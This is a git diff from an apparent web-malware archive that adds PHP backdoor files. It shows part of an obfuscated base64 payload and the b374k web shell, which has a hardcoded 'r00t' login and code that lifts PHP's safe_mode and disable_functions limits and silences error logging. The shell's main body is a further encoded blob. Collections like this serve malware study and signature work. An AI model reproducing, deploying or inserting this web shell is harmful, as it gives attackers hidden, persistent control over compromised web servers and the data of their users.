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" +))); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/b374k.v1.txt b/web-malware-collection-master/Backdoors/PHP/b374k.v1.txt new file mode 100755 index 0000000..f719a79 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/b374k.v1.txt @@ -0,0 +1,434 @@ +<? +// ########################################### +// # B374k Beta ShElL V1 # +// # Cyb3R_ShubhaM # +// # www.CyberShubham.com # +// ########################################### + +//Change User & Password + +$tacfgd['uname'] = 'r00t'; +$tacfgd['pword'] = 'r00t'; + + +// Title of page. +$tacfgd['title'] = '0wned by Hacker'; + +// Text to appear just above login form. +$tacfgd['helptext'] = 'B374k Beta'; + + +// Set to true to enable the optional remember-me feature, which stores encrypted login details to +// allow users to be logged-in automatically on their return. Turn off for a little extra security. +$tacfgd['allowrm'] = true; + +// If you have multiple protected pages, and there's more than one username / password combination, +// you need to group each combination under a distinct rmgroup so that the remember-me feature +// knows which login details to use. +$tacfgd['rmgroup'] = 'default'; + +// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering. +// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not +// destroy the session, so that is left up to you. +$tacfgd['ownsessions'] = false; + + + + +foreach ($tacfgd as $key => $val) { + if (!isset($tacfg[$key])) $tacfg[$key] = $val; +} + +if (!$tacfg['ownsessions']) { + session_name('txtauth'); + session_start(); +} + +// Logout attempt made. Deletes any remember-me cookie as well +if (isset($_GET['logout']) || isset($_POST['logout'])) { + setcookie('txtauth_'.$rmgroup, '', time()-86400*14); + if (!$tacfg['ownsessions']) { + $_SESSION = array(); + session_destroy(); + } + else $_SESSION['txtauthin'] = false; +} +// Login attempt made +elseif (isset($_POST['login'])) { + if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) { + $_SESSION['txtauthin'] = true; + if ($_POST['rm']) { + // Set remember-me cookie for 2 weeks + setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14); + } + } + else $err = 'Login Faild !'; +} +// Remember-me cookie exists +elseif (isset($_COOKIE['txtauth_'.$rmgroup])) { + if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) { + $_SESSION['txtauthin'] = true; + } + else $err = 'Login Faild !'; +} +if (!$_SESSION['txtauthin']) { +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +?> +<html dir=rtl> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title><?=$tacfg['title']?></title> + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #ffffff; +} +td { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #dadada; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #dadada; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #dadada; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #dadada;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #dadada; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #dadada; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; + +<body> +<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div> +<hr width="300" size="1" noshade color="#cdcdcd"> +<p> +<div align="center" class="grey"> +<?=$tacfg['helptext']?> +</div> +<p> +<? +if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI']; +else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; +if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action); +?> +<form name="txtauth" action="<?=$action?>" method="post"> +<div align="center"> +<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr"> +<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?> +<?if (isset($tacfg['uname'])) {?> +<tr><td>Username:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?}?> +<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?if ($tacfg['allowrm']) {?> +<tr><td align="left"><input type="submit" name="login" value="Login"> +</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm"> + Remember Me ?</label></td></tr> +<?} else {?> +<tr><td colspan="2" align="center"> + <input type="submit" name="login" value="Login"></td></tr> +<?}?> +</table> +</div> +</form> + +<br><br> +<hr width="300" size="1" noshade color="#cdcdcd"> +<div class="smalltxt" align="center">Developed by + <a href="mailto:darkfire.batch@gmail.com">Cyb3R_ShubhaM</a> | copyright � + 2010</div> + +</body> +</html> +<? + // Don't delete this! + exit(); +} +?> + +<?php + +@error_reporting(0); +@set_time_limit(0); + +$code = "7T35W+u2sr+/73v/g+vLLaGErGwhkJ4QEghbIAkJcE4/rmM7sYk3bGc9r//702ix5cRhOT1t770 +t7QFbGo2k0WhmJI3G//s/ej+he57qJ9aeTqvtz+uKsf7LhvDjjwKfIPxwJIjixsZXYa2vG6pwJHC +ZRZI4R6mf4OFpoPpPsm35quV7CZy3URQ0VVJUNyFWSMaWP3PUA0FyHEOXJV+3rbQt+6q/5fmuKpl +iTAlDtQa+diCIKQSDXgjq+UYMqKJ7ju3pgBbV4fuSrJkovShACUsy1aMvopjqSR5+oW1MiV/EIlS +syppN+4Repjoq96ugGp66TKvBXHeW6EUSX6EZAeDoNpirlmwramIlAWM62QYK8gScbgHiL9afQ7z +UYP4a/RZpp5sDRDhEnU9270k2VMlKoKJrCqKGKQ10uWfbJoOdIUigVkhDXBol6RYkfkIE01Ep1dP +nqEFKaq0P8OrUR5nq1DGAtGv9pJgSw3T481m2RxZqEnrc2MoihJ/i2VRMQU2fRVM3VRHaEsIh6qh +bMFiubRwIzqiHhkPkIapTR3dVD5Aokq8mRFdMmkPUXjWRScJ/WfRfLpPPbGy8gtiUpluog0diKrG +b+Qn9n9v+aQ8XQNNFAVoH/WYUXxurLuqnmE1lsiLqtmf3/YnkAicieqnWOCG2qs1OtfnUatTa3XK +zCu3W+0Lik27pwIQJ0ZP66pOJyCduCLYrIN7xbcOeoAbGwmwIR6hCG3Egqg4lQyqqrt28qxbxDIo +k18qXrSo0bOb5qgnj6GjO0whzFW5JgqvPG/XQW4ICI7LlaW0THVeH/izURFJoJYvsNyPMh5I/6d6 +TorssY6yrE5K35kyUkONIOqK3rGFolLnB5MIi7CwOEE+BH6BVpN4f1kYeHiBXcnQtoU4Ra0w0WzJ +1REfUIZorikUCrStRWF0hcDgdoNYc1zYdzNpQNiUKX9YEnI7bBpNEniiJjdRJvVmttBvNh6dW9ab +cLKNH1hPha1DxJyyFRq6LpsETpOH5iWvDIHEV/jjwi2GNiDMNR/K1BMw7JF2/QNaYm5KQlFwD8uD 